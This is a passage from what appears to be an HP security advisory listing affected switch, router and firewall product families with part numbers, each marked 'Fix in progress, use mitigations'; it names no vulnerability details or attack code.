10-GbE\nJC700A HP A7500 384 Gbps TAA Fabric / MPU\nJC701A HP A7510 768 Gbps TAA Fabric / MPU\nJD193A HP 384 Gbps A7500 Fab Mod w/2 XFP Ports\nJD193B HP 7500 384Gbps Fab Mod w/2 XFP Ports\nJD194A HP 384 Gbps Fabric A7500 Module\nJD194B HP 7500 384Gbps Fabric Module\nJD195A HP 7500 384Gbps Advanced Fabric Module\nJD196A HP 7502 Fabric Module\nJD220A HP 7500 768Gbps Fabric Module\nJD238A HP A7510 Switch Chassis\nJD238B HP 7510 Switch Chassis\nJD239A HP A7506 Switch Chassis\nJD239B HP 7506 Switch Chassis\nJD240A HP A7503 Switch Chassis\nJD240B HP 7503 Switch Chassis\nJD241A HP A7506 Vertical Switch Chassis\nJD241B HP 7506-V Switch Chassis\nJD242A HP A7502 Switch Chassis\nJD242B HP 7502 Switch Chassis\nJD243A HP A7503 Switch Chassis w/1 Fabric Slot\nJD243B HP 7503-S Switch Chassis w/1 Fabric Slot\n H3C S7502E Ethernet Switch Chassis with Fan (0235A0G4)\nH3C S7503E Ethernet Switch Chassis with Fan (0235A0G2)\nH3C S7503E-S Ethernet Switch Chassis with Fan (0235A0G5)\nH3C S7506E Ethernet Switch Chassis with Fan (0235A0G1)\nH3C S7506E-V Ethernet Switch Chassis with Fan (0235A0G3)\nH3C S7510E Ethernet Switch Chassis with Fan (0235A0G0)\nH3C S7502E Chassis w/ fans (0235A29A)\nH3C S7503E Chassis w/ fans (0235A27R)\nH3C S7503E-S Chassis w/ fans (0235A33R)\nH3C S7506E Chassis w/ fans (0235A27Q)\nH3C S7506E-V Chassis w/ fans (0235A27S)\n\nHSR6800\n Fix in progress\nuse mitigations\n JG361A HP HSR6802 Router Chassis\nJG362A HP HSR6804 Router Chassis\nJG363A HP HSR6808 Router Chassis\nJG364A HP HSR6800 RSE-X2 Router MPU\nJG779A HP HSR6800 RSE-X2 Router TAA MPU\n\nHSR6800 Russian Version\n Fix in progress\nuse mitigations\n JG361A HP HSR6802 Router Chassis\nJG362A HP HSR6804 Router Chassis\nJG363A HP HSR6808 Router Chassis\nJG364A HP HSR6800 RSE-X2 Router MPU\nJG779A HP HSR6800 RSE-X2 Router TAA MPU\n\nHSR6602\n Fix in progress\nuse mitigations\n JG353A HP HSR6602-G Router\nJG354A HP HSR6602-XG Router\nJG776A HP HSR6602-G TAA Router\nJG777A HP HSR6602-XG TAA Router\n\nHSR6602 Russian Version\n Fix in progress\nuse mitigations\n JG353A HP HSR6602-G Router\nJG354A HP HSR6602-XG Router\nJG776A HP HSR6602-G TAA Router\nJG777A HP HSR6602-XG TAA Router\n\nA6600\n Fix in progress\nuse mitigations\n JC177A HP 6608 Router\nJC177B HP A6608 Router Chassis\nJC178A HP 6604 Router Chassis\nJC178B HP A6604 Router Chassis\nJC496A HP 6616 Router Chassis\nJC566A HP A6600 RSE-X1 Main Processing Unit\nJG780A HP 6600 RSE-X1 Router TAA MPU\n H3C RT-SR6608-OVS-H3 (0235A32X)\nH3C RT-SR6604-OVS-H3 (0235A37X)\nH3C SR6616 Router Chassis (0235A41D)\n\nA6600 Russian Version\n Fix in progress\nuse mitigations\n JC177A HP 6608 Router\nJC177B HP A6608 Router Chassis\nJC178A HP 6604 Router Chassis\nJC178B HP A6604 Router Chassis\nJC496A HP 6616 Router Chassis\nJC566A HP A6600 RSE-X1 Main Processing Unit\nJG780A HP 6600 RSE-X1 Router TAA MPU\n H3C RT-SR6608-OVS-H3 (0235A32X)\nH3C RT-SR6604-OVS-H3 (0235A37X)\nH3C SR6616 Router Chassis (0235A41D)\n\n6600 MCP\n Fix in progress\nuse mitigations\n JC177A HP 6608 Router\nJC177B HP A6608 Router Chassis\nJC178A HP 6604 Router Chassis\nJC178B HP A6604 Router Chassis\nJC496A HP 6616 Router Chassis\nJG778A HP 6600 MCP-X2 Router TAA MPU. JG355A HP 6600 MCP-X1 Router MPU\nJG356A HP 6600 MCP-X2 Router MPU\n H3C RT-SR6608-OVS-H3 (0235A32X)\nH3C RT-SR6604-OVS-H3 (0235A37X)\nH3C SR6616 Router Chassis (0235A41D)\n\n6600 MCP Russian Version\n Fix in progress\nuse mitigations\n JC177A HP 6608 Router\nJC177B HP A6608 Router Chassis\nJC178A HP 6604 Router Chassis\nJC178B HP A6604 Router Chassis\nJC496A HP 6616 Router Chassis\nJG778A HP 6600 MCP-X2 Router TAA MPU\nJG355A HP 6600 MCP-X1 Router MPU\nJG356A HP 6600 MCP-X2 Router MPU\n H3C RT-SR6608-OVS-H3 (0235A32X)\nH3C RT-SR6604-OVS-H3 (0235A37X)\nH3C SR6616 Router Chassis (0235A41D)\n\n5920 Switch Series\n Fix in progress\nuse mitigations\n JG296A HP 5920AF-24XG Switch\nJG555A HP 5920AF-24XG TAA Switch\n\n5900 Switch Series\n Fix in progress\nuse mitigations\n JC772A HP 5900AF-48XG-4QSFP+ Switch\nJG336A HP 5900AF-48XGT-4QSFP+ Switch\nJG510A HP 5900AF-48G-4XG-2QSFP+ Switch\nJG554A HP 5900AF-48XG-4QSFP+ TAA Switch\nJG838A HP FF 5900CP-48XG-4QSFP+ Switch\n\n5900 Virtual Switch\n Fix in progress\nuse mitigations\n JG814AAE HP Virtual Switch 5900v VMware E-LTU\nJG815AAE HP VSO SW for 5900v VMware E-LTU\n\n5830 Switch Series\n Fix in progress\nuse mitigations\n JC691A HP A5830AF-48G Switch w/1 Interface Slot\nJC694A HP A5830AF-96G Switch\nJG316A HP 5830AF-48G TAA Switch w/1 Intf Slot\nJG374A HP 5830AF-96G TAA Switch\n\n5820 Switch Series\n Fix in progress\nuse mitigations\n JC102A HP 5820-24XG-SFP+ Switch\nJC106A HP 5820-14XG-SFP+ Switch with 2 Slots\nJG219A HP 5820AF-24XG Switch\nJG243A HP 5820-24XG-SFP+ TAA-compliant Switch\nJG259A HP 5820X-14XG-SFP+ TAA Switch w 2 Slots\n H3C S5820X-28C 14 port (SFP Plus ) Plus 4-port BT (RJ45) Plus 2 media\nmodules Plus OSM (0235A37L)\nH3C S5820X-28S 24-port 10GBASE-X (SFP Plus ) Plus 4-port 10/100/1000BASE-T\n(RJ45) (0235A370)\n\n5800 Switch Series\n Fix in progress\nuse mitigations\n JC099A HP 5800-24G-PoE Switch\nJC100A HP 5800-24G Switch\nJC101A HP 5800-48G Switch with 2 Slots\nJC103A HP 5800-24G-SFP Switch\nJC104A HP 5800-48G-PoE Switch\nJC105A HP 5800-48G Switch\nJG225A HP 5800AF-48G Switch\nJG242A HP 5800-48G-PoE+ TAA Switch w 2 Slots\nJG254A HP 5800-24G-PoE+ TAA-compliant Switch\nJG255A HP 5800-24G TAA-compliant Switch\nJG256A HP 5800-24G-SFP TAA Switch w 1 Intf Slt\nJG257A HP 5800-48G-PoE+ TAA Switch with 1 Slot\nJG258A HP 5800-48G TAA Switch w 1 Intf Slot\n H3C S5800-32C - 24-port 1BT Plus 4-port (SFP Plus ) Plus 1 media slot\n(0235A36U)\nH3C S5800-32C-PWR - 24-port 10/100/1000BASE-T (RJ45) Plus 4-port 10GBASE-X\n(SFP Plus ) Plus 1 media module PoE (0235A36S)\nH3C S5800-32F 24-port 1000BASE-X (SFP) Plus 4-port 10GBASE-X (SFP Plus ) Plus\nmedia module (no power) (0235A374)\nH3C S5800-56C 48-port 10/100/1000BASE-T (RJ45) Plus 4port 10GBASE-X (SFP Plus\n) Plus media module (0235A379)\nH3C S5800-56C-PWR 48-port BT Plus 4 port (SFP Plus ) Plus media module\n(0235A378)\nH3C S5800-60C-PWR 48-port BT Plus 4-port SFP Plus 2 media modules Plus OSM\n(0235A36W)\n\n5500 HI Switch Series\n Fix in progress\nuse mitigations\n JG311A HP HI 5500-24G-4SFP w/2 Intf Slts Switch\nJG312A HP HI 5500-48G-4SFP w/2 Intf Slts Switch\nJG541A HP 5500-24G-PoE+-4SFP HI Switch w/2 Slt\nJG542A HP 5500-48G-PoE+-4SFP HI Switch w/2 Slt\nJG543A HP 5500-24G-SFP HI Switch w/2 Intf Slt\nJG679A HP 5500-24G-PoE+-4SFP HI TAA Swch w/2Slt\nJG680A HP 5500-48G-PoE+-4SFP HI TAA Swch w/2Slt\nJG681A HP 5500-24G-SFP HI TAA Swch w/2Slt\n\n5500 EI Switch Series\n Fix in progress\nuse mitigations\n JD373A HP 5500-24G DC EI Switch\nJD374A HP 5500-24G-SFP EI Switch\nJD375A HP 5500-48G EI Switch\nJD376A HP 5500-48G-PoE EI Switch\nJD377A HP 5500-24G EI Switch\nJD378A HP 5500-24G-PoE EI Switch\nJD379A HP 5500-24G-SFP DC EI Switch\nJG240A HP 5500-48G-PoE+ EI Switch w/2 Intf Slts\nJG241A HP 5500-24G-PoE+ EI Switch w/2 Intf Slts\nJG249A HP 5500-24G-SFP EI TAA Switch w 2 Slts\nJG250A HP 5500-24G EI TAA Switch w 2 Intf Slts\nJG251A HP 5500-48G EI TAA Switch w 2 Intf Slts\nJG252A HP 5500-24G-PoE+ EI TAA Switch w/2 Slts\nJG253A HP 5500-48G-PoE+ EI TAA Switch w/2 Slts\n H3C S5500-28C-EI Ethernet Switch (0235A253)\nH3C S5500-28F-EI Eth Switch AC Single (0235A24U)\nH3C S5500-52C-EI Ethernet Switch (0235A24X)\nH3C S5500-28C-EI-DC Ethernet Switch (0235A24S)\nH3C S5500-28C-PWR-EI Ethernet Switch (0235A255)\nH3C S5500-28F-EI Eth Swtch DC Single Pwr (0235A259)\nH3C S5500-52C-PWR-EI Ethernet Switch (0235A251)\n\n5500 SI Switch Series\n Fix in progress\nuse mitigations\n JD369A HP 5500-24G SI Switch\nJD370A HP 5500-48G SI Switch\nJD371A HP 5500-24G-PoE SI Switch\nJD372A HP 5500-48G-PoE SI Switch\nJG238A HP 5500-24G-PoE+ SI Switch w/2 Intf Slts\nJG239A HP 5500-48G-PoE+ SI Switch w/2 Intf Slts\n H3C S5500-28C-SI Ethernet Switch (0235A04U)\nH3C S5500-52C-SI Ethernet Switch (0235A04V)\nH3C S5500-28C-PWR-SI Ethernet Switch (0235A05H)\nH3C S5500-52C-PWR-SI Ethernet Switch (0235A05J)\n\n5120 EI Switch Series\n Fix in progress\nuse mitigations\n JE066A HP 5120-24G EI Switch\nJE067A HP 5120-48G EI Switch\nJE068A HP 5120-24G EI Switch with 2 Slots\nJE069A HP 5120-48G EI Switch with 2 Slots\nJE070A HP 5120-24G-PoE EI Switch with 2 Slots\nJE071A HP 5120-48G-PoE EI Switch with 2 Slots\nJG236A HP 5120-24G-PoE+ EI Switch w/2 Intf Slts\nJG237A HP 5120-48G-PoE+ EI Switch w/2 Intf Slts\nJG245A HP 5120-24G EI TAA Switch w 2 Intf Slts\nJG246A HP 5120-48G EI TAA Switch w 2 Intf Slts\nJG247A HP 5120-24G-PoE+ EI TAA Switch w 2 Slts\nJG248A HP 5120-48G-PoE+ EI TAA Switch w 2 Slts\n H3C S5120-24P-EI 24GE Plus 4ComboSFP (0235A0BQ)\nH3C S5120-28C-EI 24GE Plus 4Combo Plus 2Slt (0235A0BS)\nH3C S5120-48P-EI 48GE Plus 4ComboSFP (0235A0BR)\nH3C S5120-52C-EI 48GE Plus 4Combo Plus 2Slt (0235A0BT)\nH3C S5120-28C-PWR-EI 24G Plus 4C Plus 2S Plus POE (0235A0BU)\nH3C S5120-52C-PWR-EI 48G Plus 4C Plus 2S Plus POE (0235A0BV)\n\n5120 SI switch Series\n Fix in progress\nuse mitigations\n JE072A HP 5120-48G SI Switch\nJE073A HP 5120-16G SI Switch\nJE074A HP 5120-24G SI Switch\nJG091A HP 5120-24G-PoE+ (370W) SI Switch\nJG092A HP 5120-24G-PoE+ (170W) SI Switch\n H3C S5120-52P-SI 48GE Plus 4 SFP (0235A41W)\nH3C S5120-20P-SI L2\n16GE Plus 4SFP (0235A42B)\nH3C S5120-28P-SI 24GE Plus 4 SFP (0235A42D)\nH3C S5120-28P-HPWR-SI (0235A0E5)\nH3C S5120-28P-PWR-SI (0235A0E3)\n\n4800 G Switch Series\n Fix in progress\nuse mitigations\n JD007A HP 4800-24G Switch\nJD008A HP 4800-24G-PoE Switch\nJD009A HP 4800-24G-SFP Switch\nJD010A HP 4800-48G Switch\nJD011A HP 4800-48G-PoE Switch\n\n 3Com Switch 4800G 24-Port (3CRS48G-24-91)\n3Com Switch 4800G 24-Port SFP (3CRS48G-24S-91)\n3Com Switch 4800G 48-Port (3CRS48G-48-91)\n3Com Switch 4800G PWR 24-Port (3CRS48G-24P-91)\n3Com Switch 4800G PWR 48-Port (3CRS48G-48P-91)\n\n4510G Switch Series\n Fix in progress\nuse mitigations\n JF428A HP 4510-48G Switch\nJF847A HP 4510-24G Switch\n\n 3Com Switch 4510G 48 Port (3CRS45G-48-91)\n3Com Switch 4510G PWR 24-Port (3CRS45G-24P-91)\n3Com Switch E4510-24G (3CRS45G-24-91)\n\n4210G Switch Series\n Fix in progress\nuse mitigations\n JF844A HP 4210-24G Switch\nJF845A HP 4210-48G Switch\nJF846A HP 4210-24G-PoE Switch\n\n 3Com Switch 4210-24G (3CRS42G-24-91)\n3Com Switch 4210-48G (3CRS42G-48-91)\n3Com Switch E4210-24G-PoE (3CRS42G-24P-91)\n\n3610 Switch Series\n Fix in progress\nuse mitigations\n JD335A HP 3610-48 Switch\nJD336A HP 3610-24-4G-SFP Switch\nJD337A HP 3610-24-2G-2G-SFP Switch\nJD338A HP 3610-24-SFP Switch\n H3C S3610-52P - model LS-3610-52P-OVS (0235A22C)\nH3C S3610-28P - model LS-3610-28P-OVS (0235A22D)\nH3C S3610-28TP - model LS-3610-28TP-OVS (0235A22E)\nH3C S3610-28F - model LS-3610-28F-OVS (0235A22F)\n\n3600 V2 Switch Series\n Fix in progress\nuse mitigations\n JG299A HP 3600-24 v2 EI Switch\nJG300A HP 3600-48 v2 EI Switch\nJG301A HP 3600-24-PoE+ v2 EI Switch\nJG301B HP 3600-24-PoE+ v2 EI Switch\nJG302A HP 3600-48-PoE+ v2 EI Switch\nJG302B HP 3600-48-PoE+ v2 EI Switch\nJG303A HP 3600-24-SFP v2 EI Switch\nJG304A HP 3600-24 v2 SI Switch\nJG305A HP 3600-48 v2 SI Switch\nJG306A HP 3600-24-PoE+ v2 SI Switch\nJG306B HP 3600-24-PoE+ v2 SI Switch\nJG307A HP 3600-48-PoE+ v2 SI Switch\nJG307B HP 3600-48-PoE+ v2 SI Switch\n\n3100V2\n Fix in progress\nuse mitigations\n JD313B HP 3100-24-PoE v2 EI Switch\nJD318B HP 3100-8 v2 EI Switch\nJD319B HP 3100-16 v2 EI Switch\nJD320B HP 3100-24 v2 EI Switch\nJG221A HP 3100-8 v2 SI Switch\nJG222A HP 3100-16 v2 SI Switch\nJG223A HP 3100-24 v2 SI Switch\n\n3100V2-48\n Fix in progress\nuse mitigations\n JG315A HP 3100-48 v2 Switch\n\n1910\n Fix in progress\nuse mitigations\n JE005A HP 1910-16G Switch\nJE006A HP 1910-24G Switch\nJE007A HP 1910-24G-PoE (365W) Switch\nJE008A HP 1910-24G-PoE(170W) Switch\nJE009A HP 1910-48G Switch\nJG348A HP 1910-8G Switch\nJG349A HP 1910-8G-PoE+ (65W) Switch\nJG350A HP 1910-8G-PoE+ (180W) Switch\n 3Com Baseline Plus Switch 2900 Gigabit Family - 52 port (3CRBSG5293)\n3Com Baseline Plus Switch 2900G - 20 port (3CRBSG2093)\n3Com Baseline Plus Switch 2900G - 28 port (3CRBSG2893)\n3Com Baseline Plus Switch 2900G - 28HPWR (3CRBSG28HPWR93)\n3Com Baseline Plus Switch 2900G - 28PWR (3CRBSG28PWR93)\n\n1810v1 P2\n Fix in progress\nuse mitigations\n J9449A HP 1810-8G Switch\nJ9450A HP 1810-24G Switch\n\n1810v1 PK\n Fix in progress\nuse mitigations\n J9660A HP 1810-48G Switch\n\nMSR20\n Fix in progress\nuse mitigations\n JD432A HP A-MSR20-21 Multi-Service Router\nJD662A HP MSR20-20 Multi-Service Router\nJD663A HP MSR20-21 Multi-Service Router\nJD663B HP MSR20-21 Router\nJD664A HP MSR20-40 Multi-Service Router\nJF228A HP MSR20-40 Router\nJF283A HP MSR20-20 Router\n H3C RT-MSR2020-AC-OVS-H3C (0235A324)\nH3C RT-MSR2040-AC-OVS-H3 (0235A326)\nH3C MSR 20-20 (0235A19H)\nH3C MSR 20-21 (0235A325)\nH3C MSR 20-40 (0235A19K)\nH3C MSR-20-21 Router (0235A19J)\n\nMSR20-1X\n Fix in progress\nuse mitigations\n JD431A HP MSR20-10 Router\nJD667A HP MSR20-15 IW Multi-Service Router\nJD668A HP MSR20-13 Multi-Service Router\nJD669A HP MSR20-13 W Multi-Service Router\nJD670A HP MSR20-15 A Multi-Service Router\nJD671A HP MSR20-15 AW Multi-Service Router\nJD672A HP MSR20-15 I Multi-Service Router\nJD673A HP MSR20-11 Multi-Service Router\nJD674A HP MSR20-12 Multi-Service Router\nJD675A HP MSR20-12 W Multi-Service Router\nJD676A HP MSR20-12 T1 Multi-Service Router\nJF236A HP MSR20-15-I Router\nJF237A HP MSR20-15-A Router\nJF238A HP MSR20-15-I-W Router\nJF239A HP MSR20-11 Router\nJF240A HP MSR20-13 Router\nJF241A HP MSR20-12 Router\nJF806A HP MSR20-12-T Router\nJF807A HP MSR20-12-W Router\nJF808A HP MSR20-13-W Router\nJF809A HP MSR20-15-A-W Router\nJF817A HP MSR20-15 Router\nJG209A HP MSR20-12-T-W Router (NA)\nJG210A HP MSR20-13-W Router (NA)\n H3C MSR 20-15 Router Host(AC) 1 FE 4 LSW 1 ADSLoPOTS 1 DSIC (0235A0A8)\nH3C MSR 20-10 (0235A0A7)\nH3C RT-MSR2011-AC-OVS-H3 (0235A395)\nH3C RT-MSR2012-AC-OVS-H3 (0235A396)\nH3C RT-MSR2012-AC-OVS-W-H3 (0235A397)\nH3C RT-MSR2012-T-AC-OVS-H3 (0235A398)\nH3C RT-MSR2013-AC-OVS-H3 (0235A390)\nH3C RT-MSR2013-AC-OVS-W-H3 (0235A391)\nH3C RT-MSR2015-AC-OVS-A-H3 (0235A392)\nH3C RT-MSR2015-AC-OVS-AW-H3 (0235A393)\nH3C RT-MSR2015-AC-OVS-I-H3 (0235A394)\nH3C RT-MSR2015-AC-OVS-IW-H3 (0235A38V)\nH3C MSR 20-11 (0235A31V)\nH3C MSR 20-12 (0235A32E)\nH3C MSR 20-12 T1 (0235A32B)\nH3C MSR 20-13 (0235A31W)\nH3C MSR 20-13 W (0235A31X)\nH3C MSR 20-15 A (0235A31Q)\nH3C MSR 20-15 A W (0235A31R)\nH3C MSR 20-15 I (0235A31N)\nH3C MSR 20-15 IW (0235A31P)\nH3C MSR20-12 W (0235A32G)\n\nMSR30\n Fix in progress\nuse mitigations\n JD654A HP MSR30-60 POE Multi-Service Router\nJD657A HP MSR30-40 Multi-Service Router\nJD658A HP MSR30-60 Multi-Service Router\nJD660A HP MSR30-20 POE Multi-Service Router\nJD661A HP MSR30-40 POE Multi-Service Router\nJD666A HP MSR30-20 Multi-Service Router\nJF229A HP MSR30-40 Router\nJF230A HP MSR30-60 Router\nJF232A HP RT-MSR3040-AC-OVS-AS-H3\nJF235A HP MSR30-20 DC Router\nJF284A HP MSR30-20 Router\nJF287A HP MSR30-40 DC Router\nJF801A HP MSR30-60 DC Router\nJF802A HP MSR30-20 PoE Router\nJF803A HP MSR30-40 PoE Router\nJF804A HP MSR30-60 PoE Router\n H3C MSR 30-20 Router (0235A328)\nH3C MSR 30-40 Router Host(DC) (0235A268)\nH3C RT-MSR3020-AC-POE-OVS-H3 (0235A322)\nH3C RT-MSR3020-DC-OVS-H3 (0235A267)\nH3C RT-MSR3040-AC-OVS-H (0235A299)\nH3C RT-MSR3040-AC-POE-OVS-H3 (0235A323)\nH3C RT-MSR3060-AC-OVS-H3 (0235A320)\nH3C RT-MSR3060-AC-POE-OVS-H3 (0235A296)\nH3C RT-MSR3060-DC-OVS-H3 (0235A269)\nH3C MSR 30-20 RTVZ33020AS Router Host(AC) (0235A20S)\nH3C MSR 30-20 (0235A19L)\nH3C MSR 30-20 POE (0235A239)\nH3C MSR 30-40 (0235A20J)\nH3C MSR 30-40 POE (0235A25R)\nH3C MSR 30-60 (0235A20K)\nH3C MSR 30-60 POE (0235A25S)\nH3C RT-MSR3040-AC-OVS-AS-H3 (0235A20V)\n\nMSR30-16\n Fix in progress\nuse mitigations\n JD659A HP MSR30-16 POE Multi-Service Router\nJD665A HP MSR30-16 Multi-Service Router\nJF233A HP MSR30-16 Router\nJF234A HP MSR30-16 PoE Router\n H3C RT-MSR3016-AC-OVS-H3 (0235A327)\nH3C RT-MSR3016-AC-POE-OVS-H3 (0235A321)\nH3C MSR 30-16 (0235A237)\nH3C MSR 30-16 POE (0235A238)\n\nMSR30-1X\n Fix in progress\nuse mitigations\n JF800A HP MSR30-11 Router\nJF816A HP MSR30-10 2 FE /2 SIC /1 MIM MS Rtr\nJG182A HP MSR30-11E Router\nJG183A HP MSR30-11F Router\nJG184A HP MSR30-10 DC Router\n H3C MSR 30-10 Router Host(AC) 2FE 2SIC 1XMIM 256DDR (0235A39H)\nH3C RT-MSR3011-AC-OVS-H3 (0235A29L)\n\nMSR50\n Fix in progress\nuse mitigations\n JD433A HP MSR50-40 Router\nJD653A HP MSR50 Processor Module\nJD655A HP MSR50-40 Multi-Service Router\nJD656A HP MSR50-60 Multi-Service Router\nJF231A HP MSR50-60 Router\nJF285A HP MSR50-40 DC Router\nJF640A HP MSR50-60 Rtr Chassis w DC PwrSupply\n H3C MSR 50-40 Router (0235A297)\nH3C MSR5040-DC-OVS-H3C (0235A20P)\nH3C RT-MSR5060-AC-OVS-H3 (0235A298)\nH3C MSR 50-40 Chassis (0235A20N)\nH3C MSR 50-60 Chassis (0235A20L)\n\nMSR50-G2\n Fix in progress\nuse mitigations\n JD429A HP MSR50 G2 Processor Module\nJD429B HP MSR50 G2 Processor Module\n H3C H3C MSR 50 Processor Module-G2 (0231A84Q)\nH3C MSR 50 High Performance Main Processing Unit 3GE (Combo)\n256F/1GD(0231A0KL)\n\nMSR20 Russian version\n Fix in progress\nuse mitigations\n JD663B HP MSR20-21 Router\nJF228A HP MSR20-40 Router\nJF283A HP MSR20-20 Router\n H3C RT-MSR2020-AC-OVS-H3C (0235A324)\nH3C RT-MSR2040-AC-OVS-H3 (0235A326)\n\nMSR20-1X Russian version\n Fix in progress\nuse mitigations\n JD431A HP MSR20-10 Router\nJF236A HP MSR20-15-I Router\nJF237A HP MSR20-15-A Router\nJF238A HP MSR20-15-I-W Router\nJF239A HP MSR20-11 Router\nJF240A HP MSR20-13 Router\nJF241A HP MSR20-12 Router\nJF806A HP MSR20-12-T Router\nJF807A HP MSR20-12-W Router\nJF808A HP MSR20-13-W Router\nJF809A HP MSR20-15-A-W Router\nJF817A HP MSR20-15 Router\n H3C MSR 20-10 (0235A0A7)\nH3C RT-MSR2015-AC-OVS-I-H3 (0235A394)\nH3C RT-MSR2015-AC-OVS-A-H3 (0235A392)\nH3C RT-MSR2015-AC-OVS-AW-H3 (0235A393)\nH3C RT-MSR2011-AC-OVS-H3 (0235A395)\nH3C RT-MSR2013-AC-OVS-H3 (0235A390)\nH3C RT-MSR2012-AC-OVS-H3 (0235A396)\nH3C RT-MSR2012-T-AC-OVS-H3 (0235A398)\nH3C RT-MSR2012-AC-OVS-W-H3 (0235A397)\nH3C RT-MSR2013-AC-OVS-W-H3 (0235A391)\nH3C RT-MSR2015-AC-OVS-IW-H3 (0235A38V)\nH3C MSR 20-15 Router Host(AC) 1 FE 4 LSW 1 ADSLoPOTS 1 DSIC (0235A0A8)\n\nMSR30 Russian version\n Fix in progress\nuse mitigations\n JF229A HP MSR30-40 Router\nJF230A HP MSR30-60 Router\nJF235A HP MSR30-20 DC Router\nJF284A HP MSR30-20 Router\nJF287A HP MSR30-40 DC Router\nJF801A HP MSR30-60 DC Router\nJF802A HP MSR30-20 PoE Router\nJF803A HP MSR30-40 PoE Router\nJF804A HP MSR30-60 PoE Router\n H3C RT-MSR3040-AC-OVS-H (0235A299)\nH3C RT-MSR3060-AC-OVS-H3 (0235A320)\nH3C RT-MSR3020-DC-OVS-H3 (0235A267)\nH3C MSR 30-20 Router (0235A328)\nH3C MSR 30-40 Router Host(DC) (0235A268)\nH3C RT-MSR3060-DC-OVS-H3 (0235A269)\nH3C RT-MSR3020-AC-POE-OVS-H3 (0235A322)\nH3C RT-MSR3040-AC-POE-OVS-H3 (0235A323)\nH3C RT-MSR3060-AC-POE-OVS-H3 (0235A296)\n\nMSR30-1X Russian version\n Fix in progress\nuse mitigations\n JF800A HP MSR30-11 Router\nJF816A HP MSR30-10 2 FE /2 SIC /1 MIM MS Rtr\nJG182A HP MSR30-11E Router\nJG183A HP MSR30-11F Router\nJG184A HP MSR30-10 DC Router\n H3C RT-MSR3011-AC-OVS-H3 (0235A29L)\nH3C MSR 30-10 Router Host(AC) 2FE 2SIC 1XMIM 256DDR (0235A39H)\n\nMSR30-16 Russian version\n Fix in progress\nuse mitigations\n JF233A HP MSR30-16 Router\nJF234A HP MSR30-16 PoE Router\n H3C RT-MSR3016-AC-OVS-H3 (0235A327)\nH3C RT-MSR3016-AC-POE-OVS-H3 (0235A321)\n\nMSR50 Russian version\n Fix in progress\nuse mitigations\n JD433A HP MSR50-40 Router\nJD653A HP MSR50 Processor Module\nJD655A HP MSR50-40 Multi-Service Router\nJD656A HP MSR50-60 Multi-Service Router\nJF231A HP MSR50-60 Router\nJF285A HP MSR50-40 DC Router\nJF640A HP MSR50-60 Rtr Chassis w DC PwrSupply\n H3C MSR 50-40 Router (0235A297)\nH3C MSR 50 Processor Module (0231A791)\nH3C MSR 50-40 Chassis (0235A20N)\nH3C MSR 50-60 Chassis (0235A20L)\nH3C RT-MSR5060-AC-OVS-H3 (0235A298)\nH3C MSR5040-DC-OVS-H3C (0235A20P)\n\nMSR50 G2 Russian version\n Fix in progress\nuse mitigations\n JD429B HP MSR50 G2 Processor Module\n H3C MSR 50 High Performance Main Processing Unit 3GE (Combo) 256F/1GD\n(0231A0KL)\n\nMSR9XX\n Fix in progress\nuse mitigations\n JF812A HP MSR900 Router\nJF813A HP MSR920 Router\nJF814A HP MSR900-W Router\nJF815A HP MSR920 2FEWAN/8FELAN/.11b/g Rtr\nJG207A HP MSR900-W Router (NA)\nJG208A HP MSR920-W Router (NA)\n H3C MSR 900 Router with 802.11b/g 2 FE WAN 4 FE LAN 256DDR 802.11b\n(0235A0C2)\nH3C MSR 900 Router 2 FE WAN 4 FE LAN 256DDR (0235A0BX)\nH3C MSR 920 Router with 802.11b/g 2 FE WAN 8 FE LAN 256DDR (0235A0C4)\nH3C MSR 920 Router 2 FE WAN 8 FE LAN 256DDR (0235A0C0)\n\nMSR9XX Russian version\n Fix in progress\nuse mitigations\n JF812A HP MSR900 Router\nJF813A HP MSR920 Router\nJF814A HP MSR900-W Router\nJF815A HP MSR920 2FEWAN/8FELAN/.11b/g Rtr\n H3C MSR 900 Router 2 FE WAN 4 FE LAN 256DDR (0235A0BX)\nH3C MSR 920 Router 2 FE WAN 8 FE LAN 256DDR (0235A0C0)\nH3C MSR 900 Router with 802.11b/g 2 FE WAN 4 FE LAN 256DDR 802.11b (0235A0C2)\nH3C MSR 920 Router with 802.11b/g 2 FE WAN 8 FE LAN 256DDR (0235A0C4)\n\nMSR93X\n Fix in progress\nuse mitigations\n JG511A HP MSR930 Router\nJG512A HP MSR930 Wireless Router\nJG513A HP MSR930 3G Router\nJG514A HP MSR931 Router\nJG515A HP MSR931 3G Router\nJG516A HP MSR933 Router\nJG517A HP MSR933 3G Router\nJG518A HP MSR935 Router\nJG519A HP MSR935 Wireless Router\nJG520A HP MSR935 3G Router\nJG531A HP MSR931 Dual 3G Router\nJG596A HP MSR930 4G LTE/3G CDMA Router\nJG597A HP MSR936 Wireless Router\nJG665A HP MSR930 4G LTE/3G WCDMA Global Router\nJG704A HP MSR930 4G LTE/3G WCDMA ATT Router\n\nMSR93X Russian version\n Fix in progress\nuse mitigations\n JG511A HP MSR930 Router\nJG512A HP MSR930 Wireless Router\nJG513A HP MSR930 3G Router\nJG514A HP MSR931 Router\nJG515A HP MSR931 3G Router\nJG516A HP MSR933 Router\nJG517A HP MSR933 3G Router\nJG518A HP MSR935 Router\nJG519A HP MSR935 Wireless Router\nJG520A HP MSR935 3G Router\nJG531A HP MSR931 Dual 3G Router\nJG596A HP MSR930 4G LTE/3G CDMA Router\nJG597A HP MSR936 Wireless Router\nJG665A HP MSR930 4G LTE/3G WCDMA Global Router\nJG704A HP MSR930 4G LTE/3G WCDMA ATT Router\n\nMSR1000\n Fix in progress\nuse mitigations\n JG732A HP MSR1003-8 AC Router\n\nMSR2000\n Fix in progress\nuse mitigations\n JG411A HP MSR2003 AC Router\n\nMSR3000\n Fix in progress\nuse mitigations\n JG404A HP MSR3064 Router\nJG405A HP MSR3044 Router\nJG406A HP MSR3024 AC Router\nJG409A HP MSR3012 AC Router\nJG861A HP MSR3024 TAA-compliant AC Router\n\nMSR4000\n Fix in progress\nuse mitigations\n JG402A HP MSR4080 Router Chassis\nJG403A HP MSR4060 Router Chassis\nJG412A HP MSR4000 MPU-100 Main Processing Unit\n\nF5000\n Fix in progress\nuse mitigations\n JG216A HP F5000 Firewall Standalone Chassis\nJD259A HP A5000-A5 VPN Firewall Chassis\n H3C SecPath F5000-A5 Host System (0150A0AG)\n\nU200S and CS\n Fix in progress\nuse mitigations\n JD268A HP 200-CS UTM Appliance\nJD273A HP U200-S UTM Appliance\n H3C SecPath U200-S (0235A36N)\n\nU200A and M\n Fix in progress\nuse mitigations\n JD274A HP 200-M UTM Appliance\nJD275A HP U200-A UTM Appliance\n H3C SecPath U200-A (0235A36Q)\n\nF1000A and S\n Fix in 